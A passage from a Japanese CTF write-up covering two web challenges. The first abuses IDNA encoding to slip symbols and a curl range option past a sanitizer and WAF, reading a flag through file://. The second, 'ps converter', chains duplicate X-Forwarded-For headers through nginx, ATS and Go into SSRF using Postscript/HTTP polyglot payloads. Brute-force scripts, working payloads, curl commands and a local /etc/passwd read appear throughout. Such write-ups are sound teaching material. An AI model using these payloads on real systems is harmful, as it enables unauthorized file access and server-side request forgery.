                url = url.replace(c, "")
        except:
            continue
    return url

内部では encode("idna").decode() により、入力されたURLを一文字ずつASCII文字 (ACE) へ変換し、禁止された特殊文字 bad_chars に含まれていないことをチェックしています。 ⓔ が e に変換されたように、Multibyte Characters Sanitizerのチェックをすり抜けて、 curl のタイミングでの encode("idna").decode() で特殊文字になる非ASCII文字はないでしょうか。もし記号が使用できる場合は、LFIだけでなくOSコマンドインジェクションの可能性も出てきます。 

以下は、Multibyte Characters Sanitizerをパスし、再度 curl のタイミングでの encode("idna").decode() により bad_chars が含まれる入力を探すスクリプトです。 これを用いてMultibyte Characters Sanitizerの挙動を調査します。

for i in range(0xffff):
    try:
        ensc = mbc_sanitizer(chr(i)).encode("idna").decode()
        for c in "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c":
            if c in ensc:
                print(f"{i}: {ensc}")
                break
    except:
        continue

実行すると以下のようにいくつかヒットします。

161: xn--7a
162: xn--8a
163: xn--9a
164: xn--bba
165: xn--cba
166: xn--dba
167: xn--eba
168: xn-- -ccb
169: xn--gba
171: xn--iba
~ 略 ~

ACEのPrefixである xn-- の記号 - がヒットしてしまっているようです。 記号 - は bad_chars に含まれているため、本来ブロックされるべきです。 

この結果より、Multibyte Characters Sanitizerでは encode("idna").decode() の結果が複数文字になるケースが考慮されていないことがわかります。 ここで、 xn-- -ccb にスペースが入っているという不審な点に気付きます。 これはUCDのNormalizationTest.txtにもあるように、正規化後にスペース (0x20) が含まれることが原因です。

curl 実行部分では subprocess.run が shell=True で呼び出されており、URLがそのまま渡っているため、スペースで分割される場合には -ccb がオプションと解釈されることがわかります。 curl に -ccb のオプションがあるかは不明だが、この箇所を上手く指定してやればファイルを外部に送信することが可能かもしれません。 幸いなことに、スペースが含まれる文字種が多数あることも、実行結果から分かります。

さらにPrefixを除いたものを探すため、 bad_chars が含まれる入力を探すスクリプトの if c in ensc: を if c in ensc and not "xn--" in ensc: へ変更し再度実行してみましょう。

8252: !!
8263: ??
8264: ?!
8265: !?
9332: (1)
9333: (2)
~ 略 ~
9397: (z)
10868: ::=
10869: ==
10870: ===

‼ などACEに変換した際に複数文字になるものがいくつか得られました。 これらの記号はMultibyte Characters Sanitizerにブロックされないため、URLとして利用可能です。しかし、残念ながらOSコマンドインジェクションは難しそうです。

WAFの突破

Multibyte Characters Sanitizerの突破により、 curl に任意のオプションを渡せる可能性があることがわかりました。 ここで、 curl に渡すことでWAFの突破や外部へのファイル送信が可能となるオプションを探しましょう。 マニュアルを見ると、 -F でファイル送信が可能なようですが、 encode("idna").decode() の結果が全て小文字であることにより利用できません。 小文字のオプションに絞って探すと、 -r によってバイトのRangeを指定できるようです。また、このオプションは file:// にも利用できます。 manにも以下のように書かれています。

-r, --range <range>
    (HTTP FTP SFTP FILE) Retrieve a byte range (i.e. a partial document) from  an  HTTP/1.1,  FTP  or  SFTP server or a local FILE. Ranges can be specified in a number of ways.

これを用いて -r1 や -r2 のような -rX の形をオプションとして渡すことができれば、 RicSec の先頭が読み飛ばされるのでWAFを突破できます。ここで encode("idna").decode() が文字列に対してどのような挙動を示すかを詳細に調査してみます。

$ python
>>> f"{chr(168)}".encode("idna").decode()
'xn-- -ccb'
>>> f"A{chr(168)}".encode("idna").decode()
'xn--a -vub'
>>> f"B{chr(168)}".encode("idna").decode()
'xn--b -vub'
>>> f"AA{chr(168)}".encode("idna").decode()
'xn--aa -fec'
>>> f"AAA{chr(168)}".encode("idna").decode()
'xn--aaa -ywc'
>>> f"AAA{chr(168)}A".encode("idna").decode()
'xn--aaa a-hgd'
>>> f"filⓔ:///var/www/flag{chr(168)}".encode("idna").decode()
'xn--file:///var/www/flag -6wl'

文字列の内容にではなく長さに依存することが分かります (厳密には chr(168) の位置) 。 また、先頭にPrefixである xn-- が、末尾にオプション (となる) -6wl が付加されるようです。 これにより、 filⓔ:// の前に xn-- が付加されるため、スキームが壊れる問題が発生します。 ただし、Prefixは各サブドメインの先頭に付加される仕様であるため、以下のとおり . を挿入してやればスキームを壊すことなくオプションを渡すことができます。

$ python
>>> f"filⓔ:///var/www/flag.{chr(168)}".encode("idna").decode()
'file:///var/www/flag.xn-- -ccb'

最後に問題となるのはファイル名です。 /var/www/flag を読み取りたいのですが、スキームを壊さないために挿入した . やPrefixである xn-- など余計なものが付いた結果、 var/www/flag.xn-- になってしまっています。 ここでさらに、 file:// にはクエリを付けても良いことを思い出しましょう。 以下のように実際の環境で試してみます。

$ curl file:///etc/passwd?satoki
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
~ 略 ~

ただし、 ? は bad_chars として禁止されています。 ここで、Multibyte Characters Sanitizerの突破において、利用可能な記号を調査した際の出力に 8263: ?? があったことを思い出します。。 これを ? として利用できないでしょうか。

$ python
>>> f"filⓔ:///var/www/flag{chr(8263)}.{chr(168)}".encode("idna").decode()
'file:///var/www/flag??.xn-- -ccb'

上手く ? として機能しているようです。 最後に、オプションを -rX の形にする必要があります。 実際は厳密に計算できますが、今回は総当たりを試みます。 文字列の内容にではなく長さに依存することより、文字数を増やしながらスペースが含まれる文字を探索してみましょう。

for i in range(0x3f):
    for j in range(0xffff):
        try:
            url = f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}".encode("idna").decode()
            if (" " in url) and ("r" in url.split(" ")[1]):
                print(url)
                print(f"filⓔ:///var/www/flag{chr(8263)}.{'a'*i}{chr(j)}")
        except Exception as e:
            #print(e)
            continue

実行すると、大量の結果から以下の出力が得られます。

file:///var/www/flag??.xn--aaaaaaaaaaaaaaaaaaaaa -r1m
filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛
r1 が上手く出てきています。 これをリクエストとして投げてやれば、WAFを突破してflagが取得できます。
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag'
Hi, Hacker !!!!
$ curl 'http://localhost:31415?url=filⓔ:///var/www/flag⁇.aaaaaaaaaaaaaaaaaaaaa˛'
icSec{mul71by73_ch4r4c73r5_5upp0r7_15_4_lurk1n6_vuln3r4b1l17y} 

ps converter

問題・Writeup著者:potetisensei

問題概要

Postscriptファイルを送るとPDFファイルに変換してくれるサービスです。


以下の図はサービスの構成を示しており、少々複雑であることがわかります:

解法

サービスは以下のような流れで稼働しています:

  1. ユーザーのリクエストが2つのリバースプロキシnginxとATS (Apache Traffic Server)を経由してからバックエンドのGoで書かれたサーバーに届きます。
  2. バックエンドは、与えられたPostscriptファイルをfrontendにあるデーモンに送信します。
  3. デーモンはps2pdfコマンドを実行し、結果(=変換されたPDFファイル)をバックエンドに返します。
  4. バックエンドは得られたPDFファイルをレスポンスとしてユーザーに返送します。

また、バックエンドはフラグを実際に保持しているflagサーバーと通信する機能を持っており、Client-IpヘッダがバックエンドサーバーのIPアドレスを示しているときに限り、/adminにHTTPリクエストを送信することによってフラグを得ることができます:

func handleAdmin(w http.ResponseWriter, req *http.Request) {
  check_err := func (err error) bool {
    if err != nil {
      w.Header().Set("Content-Type", "text/plain")
      w.WriteHeader(http.StatusInternalServerError)
      fmt.Fprintf(w, "Error occurred: %v\n", err)
      return true
    }
    return false
  }

  client_ip_str := req.Header.Get("Client-Ip")
  client_ip, err := net.ResolveIPAddr("ip", client_ip_str)
  if check_err(err) { return }
  my_ip, err := net.ResolveIPAddr("ip", "backend")
  if check_err(err) { return }

  if client_ip_str != "127.0.0.1" && !client_ip.IP.Equal(my_ip.IP) {
    fmt.Fprintln(w, "You are not allowed to see the flag!")
    return
  }

  res, err := http.PostForm("http://flag:3000/showmeflag", url.Values{}) 
  if check_err(err) { return }
  defer res.Body.Close()

  body, err := io.ReadAll(res.Body)
  if check_err(err) { return }

  w.Header().Set("Content-Type", "text/plain")
  w.WriteHeader(http.StatusOK)
  w.Write(body)
}

Client-IpヘッダはATSによって適切に設定されるため、単純にヘッダを偽造して/adminに接続してフラグを取得するといったことはできません。したがって、なんらかのもう少し複雑な攻撃を行う必要があるとわかります。

結論からいうと、複数の問題が重なることにより、バックエンドの以下のコード箇所においてSSRFが発生します:

// Seems fine. So now let's send the file to the ps2pdf daemon
  x_forwarded_for := req.Header.Get("X-Forwarded-For")
  ips := strings.Split(x_forwarded_for, ", ")
  ps2pdf := ips[len(ips)-1]
  tcp_addr, err := net.ResolveTCPAddr("tcp", ps2pdf + ":3000")
  conn, err := net.DialTCP("tcp", nil, tcp_addr)
  if check_err(err) { return }

もちろん、ps2pdfデーモンはfrontendに存在することがわかっているため、わざわざX-Forwarded-Forヘッダを用いてIPアドレスを取得する必要はないのですが、この処理単体が常に脆弱であるわけではありません。プロキシが適切に設定されていた場合には、この処理は回りくどいものの、問題ないといえます。では、どこに原因があったのでしょうか。

原因1. nginxの設定不備

今回の構成ではリバースプロキシとしてnginxがインターネットに露出していますが、nginxはX-Forwarded-Forヘッダを適切に処理・付与するように設定されていません。proxy_set_header X-Forwarded-For $remote_addr;の一文が記述されているべきでした。この一文が記述されていないことにより、ユーザーは任意の値を持ったX-Forwarded-ForヘッダをATSへ送信することができます。重要な点は、このときnginxは、重複した複数のX-Forwarded-Forヘッダがリクエストに含まれていても、それら全てをATSに送信してしまうということです。

原因2. ATSの挙動

ATSはプロキシとして稼働する際、デフォルトでX-Forwarded-ForヘッダにクライアントのIPアドレスを付加しますが、複数のX-Forwarded-Forヘッダがリクエストに含まれているとき、エラーを返したりヘッダを削除したりすることなく、最後のX-Forwarded-ForヘッダにIPアドレスを付加して、すべてのX-Forwarded-Forヘッダを転送してしまいます。

原因3. Header.Getの挙動

Goのnet/httpのHeader.Get()はHeader.Values()[0]と等価です。すなわち、同じ名前を持つヘッダが複数含まれていた場合、Header.Getでは1番初めのヘッダの値が返ります。よって、X-Forwarded-Forヘッダが複数存在した場合、ATSが編集したヘッダはバックエンドによって使われません。

これら3つの原因が重なることによって、例えば以下のリクエストを送ると、targetへのSSRFが発生します:

curl -F file=@a.ps \
     -H "X-Forwarded-for: target" \
     -H "X-Forwarded-for: dummy" \
     http://ps-converter.2023.ricercactf.com:51514/converter

さて、この脆弱性を利用してフラグを取得することを考えます。このSSRFで接続できるポートは3000番で固定であるため、SSRFで不正な通信を発生させられる接続先はproxy, backend, flagの3つに絞られます。また、SSRFで送信できるペイロードに制約があることにも注意する必要があります。バックエンドはps2pdfデーモンに接続する前に、ユーザーから受け取ったファイルが本当にPostscriptファイルとして有効であるかを確認しています:

  f, _, err := req.FormFile("file")
  if check_err(err) { return }
  defer f.Close()

  script, err := io.ReadAll(f)
  if check_err(err) { return }

  // First, check if the posted file is actually a Postscript file.
  // 1. check `file` output
  cmd := exec.Command("file", "-")
  cmd.Stdin = bytes.NewReader(script)
  var stdout1 bytes.Buffer
  var stderr1 bytes.Buffer
  cmd.Stdout = &stdout1
  cmd.Stderr = &stderr1

  err = cmd.Run()
  if check_err(err) { return }

  err_str1 := stderr1.String()
  if err_str1 != "" {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusInternalServerError)
    fmt.Fprintf(w, "file returned error: [redacted]\n")
    return
  }

  out_str1 := stdout1.String()
  if !strings.Contains(out_str1, "PostScript document text") {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusBadRequest)
    fmt.Fprintf(w, "Get out, poor hacker!\n")
    return
  }

  // 2. check if ps2ps can actually process the file
  cmd = exec.Command("ps2ps", "/dev/stdin", "/dev/stdout")
  cmd.Stdin = bytes.NewReader(script)
  var stdout2 bytes.Buffer
  var stderr2 bytes.Buffer
  cmd.Stdout = &stdout2
  cmd.Stderr = &stderr2

  err = cmd.Run()
  if check_err(err) { return }

  err_str2 := stderr2.String()
  if err_str2 != "" {
    w.Header().Set("Content-Type", "text/plain")
    w.WriteHeader(http.StatusInternalServerError)
    fmt.Fprintf(w, "ps2ps returned error: [redacted]\n")
    return
  } 

上記のコードによれば、バックエンドは与えられたファイルに対して、まずfileコマンドを実行して”PostScript document text”という出力になるかを確認し、その上でps2psコマンドが正常に終了するかを確認しています。一般にfileコマンドはファイルの先頭を見ることでファイルフォーマットを判断しているため、SSRFのペイロードの先頭が%!で始まる必要が生じます。

実は、例えば#!PostScript document textのように、「Postscriptファイル以外のファイルフォーマットと認識させつつ”PostScript document text”と出力させる方法」も存在していますが、ペイロードに制約が付くという点であまり状況は変わらないでしょう(ひょっとすると、ヘッダに自由な値が含められるファイルフォーマットによる別解はあるかもしれません)。

さて、素直に%!をペイロードの先頭にすることにしてSSRFの利用方法を考えます。この制約によって、まずSSRF先としてflagが使えないことがわかります。Pythonのhttp.serverモジュールはATS, Goのnet/httpとは異なり、HTTPリクエストに含まれる異常な値に最も敏感です。したがって、%!から始まるペイロードをflag:3000に対してHTTPリクエストとして送信したところで、エラーが発生するだけになります。一方、ATSおよびnet/httpはメソッド名に対して寛容であり、メソッド名に記号が含まれていてもHTTPリクエストとして受理します。特に、net/httpはリバースプロキシではないにも関わらず任意のメソッド名を受け付ける点で特異であるといえます。基本的にnginxや他のプログラミング言語のWebサーバーにはこのような挙動は見られません。

さて、残るSSRF先としてはproxy, backendがありますが、実はどちらを利用してもこの問題を解くことが可能です。

解法1. ATSの性質を利用する

想定解ではproxyに対してSSRFし、ATSの性質をうまく用いることで、Postscriptファイルとしても有効でありながらバックエンドにHTTPリクエストとして正常に処理されるペイロードを作成します。まず、素直に以下のようなペイロードを作成してみると、proxyやbackendには受理してもらえる一方で、ps2psコマンドが失敗することがわかります:

$ cat a.ps
%!PS /converter/admin HTTP/1.1
Host: proxy:3000

$ ps2ps a.ps /dev/null
Error: /undefined in Host:
Operand stack:

Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1990   1   3   %oparray_pop   1989   1   3   %oparray_pop   1977   1   3   %oparray_pop   1833   1   3   %oparray_pop   --nostringval--   %errorexec_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--
Dictionary stack:
   --dict:764/1123(ro)(G)--   --dict:0/20(G)--   --dict:75/200(L)--
Current allocation mode is local
Current file position is 28
GPL Ghostscript 9.55.0: Unrecoverable error, exit code 1

Postscriptが空白区切りの逆ポーランド記法で記述されることは有名ですが、Host:が変数名であると認識されてしまい、未定義エラーが発生しています。変数の定義は/変数名 値 defという命令列によってできるため、ヘッダとして/Host: 1 defを含めることで未定義エラーを回避できそうですが、ヘッダ名に/を含めることはRFC上・実際の一般的なWebサーバーの実装上のどちらにおいても禁止されており、うまく行かないように思えます。事実、backendにこのようなヘッダを含むリクエストを送信しても400エラーが返されます。

しかし、実はこのリクエストをそのままproxyに対して送信することでこの問題を解くことが可能です。nginxやATSに見られるリバースプロキシとしての特殊な挙動として「ヘッダ名に記号が含まれている場合、それをサイレントに取り除いてフォワードする」というものがあります。よって、上述のようなPostscript中で変数を定義するために用いられたヘッダは、ATSによって削除されてbackendには到達しないため、backendがHTTPリクエストとして正常に解釈します。すなわち、以下のようなスクリプトが想定解となります:

$ cat poly.ps 
%!PS /admin HTTP/1.1
/Host: 1 def
/proxy:3000 1 def
Host: proxy:3000

$ cat solve.sh 
#!/bin/bash
curl -F file=@poly.ps \
-H "X-Forwarded-for: 123.45.67.101" \
-H "X-Forwarded-for: 123.45.67.101" \
http://ps-converter.2023.ricercactf.com:51514/converter>

解法2. net/httpの性質を利用する

また、社内でレビュー中に発見された非想定の解法として、backendに直接ペイロードを送る解法が挙げられます。Goのnet/httpの特殊な性質として、値が複数行にまたがったヘッダを受け付けるというものがあります。これは、RFCにも記載のある機能な一方で、現在ではdeprecatedな仕様であり、ほとんどのWebサーバーはサポートしていません。net/httpはこれをサポートしているため、以下のようなペイロードでフラグを得ることが可能です:

%!S /admin HTTP/1.1
%:
    /Host: 0 def
    /123.45.67.102 0 def
    /Client-Ip: 0 def
    /127.0.0.1 0 def
Host: 123.45.67.102
Client-Ip: 127.0.0.1

解法3. quit命令を活用する

更に、参加された方のwriteupによって、よりシンプルな解法が存在することがわかりました。Postscriptはquit命令によってインタプリタの実行を終了させることができます。また、上記のペイロードを見てもわかるとおり、net/httpは%をヘッダ名に含んでも受け付けるため、以下のようなスクリプトをbackendに送ることでフラグが得られます:

%!GET /admin HTTP/1.1
quit%: dummy
Host: backend
Client-Ip: 127.0.0.1